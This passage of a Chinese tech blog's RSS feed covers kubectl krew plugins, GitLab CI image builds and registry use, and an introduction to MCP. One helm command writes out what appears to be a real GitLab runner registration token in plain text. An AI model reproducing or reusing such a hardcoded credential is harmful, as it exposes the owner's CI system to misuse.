    &amp;quot;noServer&amp;quot;: false,
    &amp;quot;trafficShapingPolicy&amp;quot;: {
      &amp;quot;weight&amp;quot;: 0,
      &amp;quot;header&amp;quot;: &amp;quot;&amp;quot;,
      &amp;quot;headerValue&amp;quot;: &amp;quot;&amp;quot;,
      &amp;quot;cookie&amp;quot;: &amp;quot;&amp;quot;
    }
  }
]
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;列出当前的-ingress-资源&#34;&gt;列出当前的 Ingress 资源&lt;/h3&gt;

&lt;p&gt;这个功能和 &lt;code&gt;kubectl get ing -o wide&lt;/code&gt; 类似：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl ingress-nginx ingresses
INGRESS NAME   HOST+PATH                    ADDRESSES        TLS   SERVICE    SERVICE PORT   ENDPOINTS
flask          flask.whitehorse.com/      139.67.22.123      YES   flaskapp   80             2
flaskapp       flaskapp.whitehorse.com/   139.67.22.123      NO    flaskapp   80             2
$ kubectl get ingress -o wide
NAME       HOSTS                       ADDRESS          PORTS     AGE
flask      flask.whitehorse.com      139.67.22.123   80, 443   129m
flaskapp   flaskapp.whitehorse.com   139.67.22.123   80        152m
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;获取当前-ingress-controller-的运行配置&#34;&gt;获取当前 Ingress Controller 的运行配置&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl ingress-nginx conf

# Configuration checksum: 17417893439548704315

# setup custom paths that do not require root access
pid /tmp/nginx.pid;

load_module /etc/nginx/modules/ngx_http_modsecurity_module.so;

daemon off;

worker_processes 2;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;其它几个有用的命令&#34;&gt;其它几个有用的命令&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;获取特定主机名所使用的 TLS 证书：&lt;code&gt;kubectl ingress-nginx certs --host flask.whitehorse.com&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;读取 Ingress 日志：&lt;code&gt;kubectl ingress-nginx logs&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Ingress Controller 信息：&lt;code&gt;kubectl ingress-nginx general&lt;/code&gt; &lt;code&gt;kubectl ingress-nginx info&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Nginx Ingress Controller：&lt;code&gt;https://kubernetes.github.io/ingress-nginx/deploy&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubesec Scan</title>
      <link>/courses/krew/kubesec-scan/</link>
      <pubDate>Fri, 28 Jun 2019 20:50:00 +0800</pubDate>
      <guid>/courses/krew/kubesec-scan/</guid>
      <description>

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;使用 &lt;a href=&#34;https://kubesec.io/&#34; target=&#34;_blank&#34;&gt;kubesec.io&lt;/a&gt; 提供的功能对集群进行扫描，得到安全相关的问题以及对应的建议。&lt;/p&gt;

&lt;h2 id=&#34;基本用法&#34;&gt;基本用法&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;kubectl kubesec-scan [resource-type] [-n namespace] &amp;lt;resource-name&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$  kubectl kubesec-scan daemonset -n kube-system cilium
scanning daemonset cilium in namespace kube-system
kubesec.io score: -44
-----------------
Critical
1. containers[] .securityContext .privileged == true
Privileged containers can allow almost completely unrestricted host access
2. .spec .hostNetwork
Sharing the host&#39;s network namespace permits processes in the pod to communicate with processes bound to the host&#39;s loopback adapter
3. .spec .volumes[] .hostPath .path == &amp;quot;/var/run/docker.sock&amp;quot;
Mounting the docker.socket leaks information about other containers and can allow container breakout
-----------------
Advise1. containers[] .securityContext .runAsNonRoot == true
Force the running image to run as a non-root user to ensure least privilege
2. containers[] .securityContext .capabilities .drop
Reducing kernel capabilities available to a container limits its attack surface
3. containers[] .securityContext .readOnlyRootFilesystem == true
An immutable root filesystem can prevent malicious binaries being added to PATH and increase attack cost
4. containers[] .securityContext .runAsUser &amp;gt; 10000
Run as a high-UID user to avoid conflicts with the host&#39;s user table
5. containers[] .securityContext .capabilities .drop | index(&amp;quot;ALL&amp;quot;)
Drop all capabilities and add only those required to reduce syscall attack surface
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;项目地址：&lt;code&gt;https://kubesec.io/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Bulk Action</title>
      <link>/courses/krew/bulk-action/</link>
      <pubDate>Fri, 28 Jun 2019 07:06:00 +0800</pubDate>
      <guid>/courses/krew/bulk-action/</guid>
      <description>

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;顾名思义，&lt;a href=&#34;https://github.com/emreodabas/kubectl-plugins&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;Bulk Action&lt;/code&gt;&lt;/a&gt; 是一个用于进行批量操作的插件。
它使用 &lt;code&gt;kubectl bulk &amp;lt;resourceType&amp;gt; [&amp;lt;parameters&amp;gt;] [action] [&amp;lt;fields&amp;gt;]&lt;/code&gt; 形式的命令，对指定资源的字段进行批量操作。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这个插件是使用 Shell 脚本通过大量的 &lt;code&gt;grep&lt;/code&gt;、&lt;code&gt;sed&lt;/code&gt; 完成操作的，对完整资源并无认识，因此操作还是具有一定的危险性的，请慎重使用写操作。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;基本用法&#34;&gt;基本用法&lt;/h2&gt;

&lt;h3 id=&#34;get&#34;&gt;get&lt;/h3&gt;

&lt;p&gt;这个命令用于读取特定对象的指定字段值。&lt;/p&gt;

&lt;p&gt;例如获取所有 Deployment 中的特定字段的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl bulk-action deploy get image
image fields are getting
image: dustise/flaskapp
image: dustise/flaskapp
- image: dustise/sleep
- image: dustise/sleep

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的输出内容中，也能很清晰的分辨出 &lt;code&gt;sh&lt;/code&gt; 的操作痕迹。推测 &lt;code&gt;labels&lt;/code&gt; 这种字段就无法获取了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl bulk-action deploy get labels
labels fields are getting
labels:
labels:
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;list&#34;&gt;list&lt;/h3&gt;

&lt;p&gt;这个命令是 &lt;code&gt;bulk-action&lt;/code&gt; 的缺省操作，用 yaml 的形式列出所有指定类型的资源。&lt;/p&gt;

&lt;h3 id=&#34;create&#34;&gt;create&lt;/h3&gt;

&lt;p&gt;根据目前的资源，经过一定的替换之后生成新资源。&lt;/p&gt;

&lt;p&gt;例如复制一个 &lt;code&gt;Deployment&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl bulk-action deploy create name sleep-v2 sleep-v3
creating new resource with changing name: sleep-v2 to name: sleep-v3 for all  deploy
deployment.extensions/sleep-v3 created
Error from server (AlreadyExists): deployments.extensions &amp;quot;flaskapp-v1&amp;quot; already exists
Error from server (AlreadyExists): deployments.extensions &amp;quot;flaskapp-v2&amp;quot; already exists
Error from server (AlreadyExists): deployments.extensions &amp;quot;sleep-v1&amp;quot; already exists
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;前面说过，这个工具的操作是通过 &lt;code&gt;grep&lt;/code&gt; &lt;code&gt;sed&lt;/code&gt; 等完成的，因此这里的情况就比较有趣：&lt;code&gt;sleep-v2&lt;/code&gt; 被替换生成新的 &lt;code&gt;Deployment&lt;/code&gt;，其它 &lt;code&gt;Deployment&lt;/code&gt; 不包含这段文本，因此无效。&lt;/p&gt;

&lt;h3 id=&#34;delete&#34;&gt;delete&lt;/h3&gt;

&lt;p&gt;选择指定资源执行删除操作，例如删除所有的 &lt;code&gt;Service&lt;/code&gt;。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这个操作相当危险。
这里有个 bug，可以 &lt;code&gt;mv ~/.krew/bin/kubectl-bulk_action ~/.krew/bin/kubectl-bulk&lt;/code&gt; 来纠正。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;update&#34;&gt;update&lt;/h3&gt;

&lt;p&gt;和 &lt;code&gt;Create&lt;/code&gt; 类似，不过这里调用的是 &lt;code&gt;kubectl replace&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;古怪的功能，危险的操作。非常不建议采用。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;项目地址：&lt;code&gt;https://github.com/emreodabas/kubectl-plugins&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Access Matrix</title>
      <link>/courses/krew/access-matrix/</link>
      <pubDate>Sun, 23 Jun 2019 22:23:00 +0800</pubDate>
      <guid>/courses/krew/access-matrix/</guid>
      <description>

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/corneliusweig/rakkess/blob/v0.4.0/doc/USAGE.md#usage&#34; target=&#34;_blank&#34;&gt;Access Matrix&lt;/a&gt; 插件针对 RBAC 设计，用于查询和展示当前集群的 RBAC 设置。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/krew/images/access-matrix-full-list.png&#34; alt=&#34;access-matrix-list&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;基本用法&#34;&gt;基本用法&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--as&lt;/code&gt;：查询指定用户身份的访问能力&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--sa&lt;/code&gt;：查询指定 ServiceAccount 的访问能力&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--namespace&lt;/code&gt;：把查询范围限定在特定命名空间&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--verb&lt;/code&gt;：根据动词进行查询，可以指定多个，用逗号分隔，例如 &lt;code&gt;get,watch,patch&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;项目地址：&lt;code&gt;https://github.com/corneliusweig/rakkess/blob/v0.4.0/doc/USAGE.md#usage&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Gitlab 的开发流程支持</title>
      <link>/courses/gitlab-notes/04-gitlab-ci/</link>
      <pubDate>Sat, 22 Jun 2019 00:00:00 +0100</pubDate>
      <guid>/courses/gitlab-notes/04-gitlab-ci/</guid>
      <description>&lt;p&gt;Gitlab 的管理范围不仅仅是源码，它还提供&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>构建 Docker 镜像</title>
      <link>/courses/gitlab-notes/03-04-docker-image/</link>
      <pubDate>Sun, 16 Jun 2019 00:00:00 +0100</pubDate>
      <guid>/courses/gitlab-notes/03-04-docker-image/</guid>
      <description>

&lt;p&gt;有了 Gitlab CI 的脚本能力，又有容器镜像仓库的支持，自然的一个想法就是，在 Gitlab 上构建容器镜像，并推送到镜像仓库之中。&lt;/p&gt;

&lt;h2 id=&#34;常见的镜像生成流程&#34;&gt;常见的镜像生成流程&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;生成执行文件（JAR/PHP/PY 等等）&lt;/li&gt;
&lt;li&gt;将执行文件和 Dockerfile 等支持文件加入到镜像目录&lt;/li&gt;
&lt;li&gt;构建指定 Tag 的镜像&lt;/li&gt;
&lt;li&gt;登录镜像库&lt;/li&gt;
&lt;li&gt;推送镜像&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;相对于在单一服务器执行这些过程的情况，在 Gitlab 环境下主要有两个小麻烦：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;在不同的 Runner 之间如何传递文件。&lt;/li&gt;
&lt;li&gt;如何在以 Pod 形式运行的 Runner 中构建镜像并完成推送。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;跨-runner-的文件共享&#34;&gt;跨 Runner 的文件共享&lt;/h2&gt;

&lt;p&gt;Gitlab 提供了两种方式的文件共享方式，用于在不同 Runner 之间传递文件。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cache：用于在构建过程中传递一些中间文件，无需长久保存，例如下载的依赖文件。&lt;/li&gt;
&lt;li&gt;Artifact：构建过程生成的交付目标，需要保存一定时间，例如生成的 JAR、测试报告等交付文件。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这里我们准备使用 Artifact 的方式将 JAR 转发给 Docker 构建过程。在构建环节中简单加入这一字段即可，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;jar:
  stage: build
  tags: 
    - maven
  script:
    - mvn package
  artifacts:
    paths:
      - target/*.jar
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个环节执行后，会在脚本执行之后，搜集指定目录的文件，上传到 Gitlab 的共享空间，并 Pipeline 页面生成下载链接，如下图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/gitlab-notes/images/artifact.png&#34; alt=&#34;artifact&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里生成的 JAR 文件将在后续用来构建 Docker 镜像。&lt;/p&gt;

&lt;h2 id=&#34;在-pod-内构建-docker-镜像&#34;&gt;在 Pod 内构建 Docker 镜像&lt;/h2&gt;

&lt;p&gt;Docker 提供了一个 dind 镜像，意思就是“Docker in Docker”。但它使用的是使用 EntryPoint 启动守护进程的方式来完成对 Docker 的支持，而 Runner 启动时，会被替换入口函数，因此这里决定采用 IMG 工具来进行构建。&lt;/p&gt;

&lt;p&gt;要使用 IMG，首先需要运行它的 Runner，这里偷懒使用 Alpine 镜像，后续在 CI 脚本中直接安装 IMG：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
helm template gitlab-runner \
--name img \
--set gitlabUrl=&amp;quot;https://gitlab.microservice.xyz&amp;quot; \
--set runnerRegistrationToken=&amp;quot;8xZSQH3PNqu3L2EgOT1PmjtKkep9yF3xjJfR0hxZ3nEvwMjeyuJxyb8zlqJMgEyx&amp;quot; \
--set rbac.create=true \
--set runners.image=&amp;quot;alpine&amp;quot; \
--set runners.tags=&amp;quot;img&amp;quot; \
--set runners.privileged=true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在启动 IMG Runner 之后，就可以更新我们的 &lt;code&gt;.gitlab-ci.yml&lt;/code&gt; 了，加入如下内容进行构建：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;docker:
  stage: image
  tags:
    # 仅使用带有 img 标签的 Runner
    - img
  script:
    # img 对 git 有依赖
    - apk add git
    # 安装 img，可以直接生成自己的镜像代替这个步骤
    - apk add img --repository=http://dl-cdn.alpinelinux.org/alpine/edge/testing
    # 准备构建 Docker 镜像
    - mkdir docker
    - cp target/*.jar docker
    - cp Dockerfile docker
    # 登录镜像库
    - img login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
    # 构建镜像，变量列表和含义请参见附录
    - img build -t $CI_REGISTRY_IMAGE/sample:$CI_COMMIT_SHORT_SHA docker
    # 推送镜像
    - img push $CI_REGISTRY_IMAGE/sample:$CI_COMMIT_SHORT_SHA
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;修改完成后，提交更改到项目，触发 Pipeline，进入 &lt;code&gt;/root/sample/pipelines&lt;/code&gt; 浏览构建过程列表，点击新启动的 Pipeline，可以查看各个环节的运行情况。&lt;/p&gt;

&lt;p&gt;构建成功之后，进入项目的 &lt;code&gt;container_registry&lt;/code&gt; 路径，可以看到该项目的镜像列表：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/gitlab-notes/images/registry-img-list.png&#34; alt=&#34;image list&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Gitlab CI 变量列表：&lt;code&gt;https://docs.gitlab.com/ce/ci/variables/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Cache vs Artifact：&lt;code&gt;https://docs.gitlab.com/ee/ci/caching/#cache-vs-artifacts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IMG 项目：&lt;code&gt;https://github.com/genuinetools/img&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>使用 Gitlab 的镜像仓库</title>
      <link>/courses/gitlab-notes/02-01-registry/</link>
      <pubDate>Thu, 13 Jun 2019 16:00:00 +0100</pubDate>
      <guid>/courses/gitlab-notes/02-01-registry/</guid>
      <description>&lt;p&gt;Kubernetes 已经是事实标准，很多应用都会以容器镜像作为交付物。Gitlab 自然是不甘人后，也集成了容器镜像仓库的功能。&lt;/p&gt;

&lt;p&gt;在使用 Helm 安装 Gitlab 时，设置 &lt;code&gt;registry.enabled=true&lt;/code&gt; 即可启用镜像仓库功能。该功能启用之后，就可以用 Docker 客户端进行操作了。&lt;/p&gt;

&lt;p&gt;我们使用项目 &lt;code&gt;root/sample&lt;/code&gt; 作为示例：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 登录
$ docker login registry.microservice.xyz

Username: root
Password:
Login Succeeded

$ docker tag alpine:latest registry.microservice.xyz/root/sample/alpine:latest

# 推送镜像
$ docker push registry.microservice.xyz/root/sample/alpine:latest
The push refers to repository [registry.microservice.xyz/root/sample/alpine]
7bff100f35cb: Pushed
latest: digest: sha256:3d2e482b82608d153a374df3357c0291589a61cc194ec4a9ca2381073a17f58e size: 528
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;镜像推送成功后，浏览项目的 &lt;code&gt;registry&lt;/code&gt; 菜单，例如 &lt;code&gt;https://gitlab.microservice.xyz/root/sample/container_registry&lt;/code&gt;，就会看到新推送的镜像：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/courses/gitlab-notes/images/registry-list-images.png&#34; alt=&#34;List images&#34; /&gt;&lt;/p&gt;

&lt;p&gt;关于镜像的路径，该页面上的说法是：允许存在三个层次，例如下列命名都是合法的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;registry.microservice.xyz/root/sample:tag
registry.microservice.xyz/root/sample/optional-image-name:tag
registry.microservice.xyz/root/sample/optional-name/optional-image-name:tag
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其它路径的推送会被拒绝，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker tag alpine:latest registry.microservice.xyz/root/alpine:latest
$ docker push  registry.microservice.xyz/root/alpine:latest
The push refers to repository [registry.microservice.xyz/root/alpine]
7bff100f35cb: Preparing
denied: requested access to the resource is denied
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>MCP 是一座桥</title>
      <link>/post/1stg-of-mcp/</link>
      <pubDate>Sat, 15 Mar 2025 10:55:23 +0800</pubDate>
      <guid>/post/1stg-of-mcp/</guid>
      <description>

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;前两天刘老师吐了个槽，印象里是个问句：大家猜猜 KCD 为什么是 KCD？我觉得问得挺好的，所以作为 Kubernetes 老饼一张，我今天也来聊一点 AI 相关的事。&lt;/p&gt;

&lt;p&gt;ChatGPT 横空出世之后，一直还是保持一点关注的，应该也交了几百刀的 AI 税了。除了聊天玩之外，也尝试使用流行的大模型解决一些实际问题，这一段时间以来，对于 AI 的有效使用大概归结成几种模式：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;洗稿：当然不是抄袭的那种，我经常会将要发表的文字交给 GPT 类的东西，帮我查查错字，部分字句进行润色等。&lt;/li&gt;
&lt;li&gt;翻译：传统翻译工具，包括 Deepl 在内，对于凌乱格式的文档（例如 PDF 中的胡乱换行、HTML 中的代码和标签等）都是力有不逮的，大模型对这种情况可以说是信手拈来。&lt;/li&gt;
&lt;li&gt;辅助开发：函数级的代码、单元测试的编写，还有代码的阅读解释，甚至是一些配置参数的跟踪、特定功能的查找和调试，目前不管是 Windsurf 还是 Cursor 的效果都远超我的预期。&lt;/li&gt;
&lt;li&gt;资料查询和整合：目前不管是 Search 还是 Research，都属于这个范畴。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;除了这些工具类的东西，我有没有真的把大模型的能力融入到我的实际业务之中呢？你别说还真有。&lt;/p&gt;

&lt;h3 id=&#34;运维老师傅&#34;&gt;运维老师傅&lt;/h3&gt;

&lt;p&gt;在运维现场，老师傅的最大价值之一就是：见多识广。然而在所有的主流大模型眼中，知名软件的日志信息毫无秘密可言。所以就随手写了个 Pipe2GPT 的小玩意，这东西现在一直在我的 Mac 和 Home Server 里呆着，随便遇到什么疑难 STDOUT/STDERR，Pipe 过去就行了。绝大多数情况下，能给出不弱于 StackOverflow 之类的结果，最重要的是说的的确是经过组织的人话，这点太重要了。&lt;/p&gt;

&lt;h3 id=&#34;哄娃小工具&#34;&gt;哄娃小工具&lt;/h3&gt;

&lt;p&gt;我有个工作流，效果是用广东话根据几个关键字生成童话故事，并使用方言 TTS 生成语音朗读给小朋友听——为保留粤语尽点绵薄之力？&lt;/p&gt;

&lt;h3 id=&#34;调制和解调&#34;&gt;调制和解调&lt;/h3&gt;

&lt;p&gt;其实跟翻译类似，让大模型的能力，对信息进行翻译和重整，使之生成新的信息模式，包括但不限于：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;从自然语言的网页，例如公告、通知等信息中，提取规范化信息，交由其它系统进一步的处理。这种应用方式非常广泛，非常适合小打小闹的做一些趁手的搜集工作。&lt;/li&gt;
&lt;li&gt;云 SDK 到 IaC：就拿虚拟机来说，同样的 4 核 8G，每个厂商都提供了多种机型可选，在 Terraform 的 Provider 之中，又有各种不同的表达。而有了大模型的辅助，反倒是可以轻松地在不同厂商 SDK 格式、不同的 IaC 代码之间进行转换。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&amp;hellip;&lt;/p&gt;

&lt;p&gt;然而这蹭热度的过程中，一直有些粗糙的感觉，应用侧和模型侧始终是泾渭分明、各自为战。训练练不起，对接呢，因为个人架构能力有限，每次都会因为需求的微小差异，进行大量的代码调整。尤其是和一些商业数据系统对接时，缺乏最佳实践的指导，由此产生草台班子的感觉会让人非常受挫。&lt;/p&gt;

&lt;h2 id=&#34;mcp&#34;&gt;MCP&lt;/h2&gt;

&lt;p&gt;前不久看到了 claude MCP，感觉这高冷的大模型开始有味道了。总算可以有办法，将“传统”服务和系统，跟各种大模型能够相对规矩的对接起来。&lt;/p&gt;

&lt;p&gt;MCP 是 Model Context Protocol 的缩写。官方简介称：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;模型上下文协议（MCP）是一种开放式协议，可实现 LLM 应用程序与外部数据源和工具之间的无缝集成。无论您是要构建人工智能驱动的集成开发环境、增强聊天界面，还是要创建自定义的人工智能工作流，MCP 都能提供一种标准化的方式，将 LLM 与它们所需的上下文连接起来。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;目前已经提供了 TypeScript、Python、Java 和 Kotlin 的 SDK。&lt;/p&gt;

&lt;p&gt;官方提供的架构图如下所示：&lt;/p&gt;

&lt;p&gt;从核心上讲，MCP 遵循客户端-服务器架构，其中主机应用程序可以连接到多个服务器：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-mermaid&#34;&gt;flowchart LR
    subgraph &amp;quot;Your Computer&amp;quot;
        Host[&amp;quot;MCP 客户端(Claude, IDEs, Tools)&amp;quot;]
        S1[&amp;quot;MCP Server A&amp;quot;]
        S2[&amp;quot;MCP Server B&amp;quot;]
        S3[&amp;quot;MCP Server C&amp;quot;]
        Host &amp;lt;--&amp;gt;|&amp;quot;MCP Protocol&amp;quot;| S1
        Host &amp;lt;--&amp;gt;|&amp;quot;MCP Protocol&amp;quot;| S2
        Host &amp;lt;--&amp;gt;|&amp;quot;MCP Protocol&amp;quot;| S3
        S1 &amp;lt;--&amp;gt; D1[(&amp;quot;本地数据源 A&amp;quot;)]
        S2 &amp;lt;--&amp;gt; D2[(&amp;quot;本地数据源 B&amp;quot;)]
    end
    subgraph &amp;quot;Internet&amp;quot;
        S3 &amp;lt;--&amp;gt;|&amp;quot;Web APIs&amp;quot;| D3[(&amp;quot;远端服务 C&amp;quot;)]
    end
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MCP Hosts&lt;/strong&gt;: 例如 Claude Desktop、集成开发环境 (IDEs) 或希望通过 MCP 访问数据的 AI 工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP Clients&lt;/strong&gt;: 与服务器建立一对一连接的协议客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP Servers&lt;/strong&gt;: 轻量级程序，通过标准化的 Model Context Protocol 提供特定功能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本地数据源&lt;/strong&gt;: 您计算机上的文件、数据库和服务，MCP 服务器可以安全访问它们&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;远程服务&lt;/strong&gt;: 通过网络（如 API）可访问的外部系统，MCP 服务器能与之连接&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;从架构图中可以看到，MCP 定义了一种行为规范及其依赖的通信方式和对应的对象。LLM 客户端应用，作为 MCP Client，通过 MCP Server，和本地资源、外部服务连接起来，从而形成了完整的数据通路，让 MCP Server 所提供的数据和能力，直接在 LLM 客户端应用中得以使用。&lt;/p&gt;

&lt;p&gt;MCP 中的核心概念包括用于描述原子能力的资源（Resource）和工具（Tool），用于复用提示词的（Prompt），以及能够控制文本生成的 Sampling 能力。除了这些能力之外，对于传输、安全、敏感信息等，也提出了相对完善的建议和最佳实践。因此虽然存在只能本地调用等短板，MCP 仍然不失为一个开拓 LLM 应用的一个非常有用的方向（不够好没关系，Who can who up 就是了）。&lt;/p&gt;

&lt;h2 id=&#34;例子&#34;&gt;例子&lt;/h2&gt;

&lt;p&gt;官网文档里提供了一个天气预报的 Sample，这个例子很典型：从外部服务获取实时信息作为上下文在 LLM 中进行使用。这个例子分为三个部分：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;服务端，提供了多种语言的开发方法，其中定义了 &lt;code&gt;get_forcast&lt;/code&gt; 和 &lt;code&gt;get_alert&lt;/code&gt; 两个 Tool&lt;/li&gt;
&lt;li&gt;客户端：如何创建 Bot 并使用前面开发的 MCP 服务器&lt;/li&gt;
&lt;li&gt;claude App 中如何使用 MCP Server。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;例子中表达的主要“业务”就是在 LLM 中获取（美国）的天气信息，并结合 LLM 自有能力来响应用户需求。&lt;/p&gt;

&lt;h3 id=&#34;提问时发生了什么&#34;&gt;提问时发生了什么？&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;客户端把问题发送给 Claude&lt;/li&gt;
&lt;li&gt;Claude 分析可用的工具并决定使用哪一个&lt;/li&gt;
&lt;li&gt;客户端通过 MCP 服务器执行所选工具&lt;/li&gt;
&lt;li&gt;结果被发回给 Claude&lt;/li&gt;
&lt;li&gt;Claude 根据响应内容回答问题&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;在-claude-app-中启用-mcp&#34;&gt;在 claude App 中启用 MCP&lt;/h3&gt;

&lt;p&gt;App 属性窗口中，Developer Tab 直接编辑 Settings，加入如下定义就可以得到：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;mcpServers&amp;quot;: {
        &amp;quot;weather&amp;quot;: {
            &amp;quot;command&amp;quot;: &amp;quot;uv&amp;quot;,
            &amp;quot;args&amp;quot;: [
                &amp;quot;--directory&amp;quot;,
                &amp;quot;/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather&amp;quot;,
                &amp;quot;run&amp;quot;,
                &amp;quot;weather.py&amp;quot;
            ]
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;启用 Server 之后，在 claude 聊天窗口输入框右下方会出现一个 🔨 图标，点击后就可以展示当前启用 MCP Server 所提供的 Tools 了。&lt;/p&gt;

&lt;h2 id=&#34;生态&#34;&gt;生态&lt;/h2&gt;

&lt;p&gt;目前支持 MCP 的工具还是颇有一些的，官方列表：&lt;code&gt;https://modelcontextprotocol.io/clients&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;官方列出的示例服务：&lt;code&gt;https://modelcontextprotocol.io/examples&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mcp.so&lt;/code&gt; 中列出了超过 2000 个 MCP Server。&lt;/p&gt;

&lt;h2 id=&#34;展望&#34;&gt;展望&lt;/h2&gt;

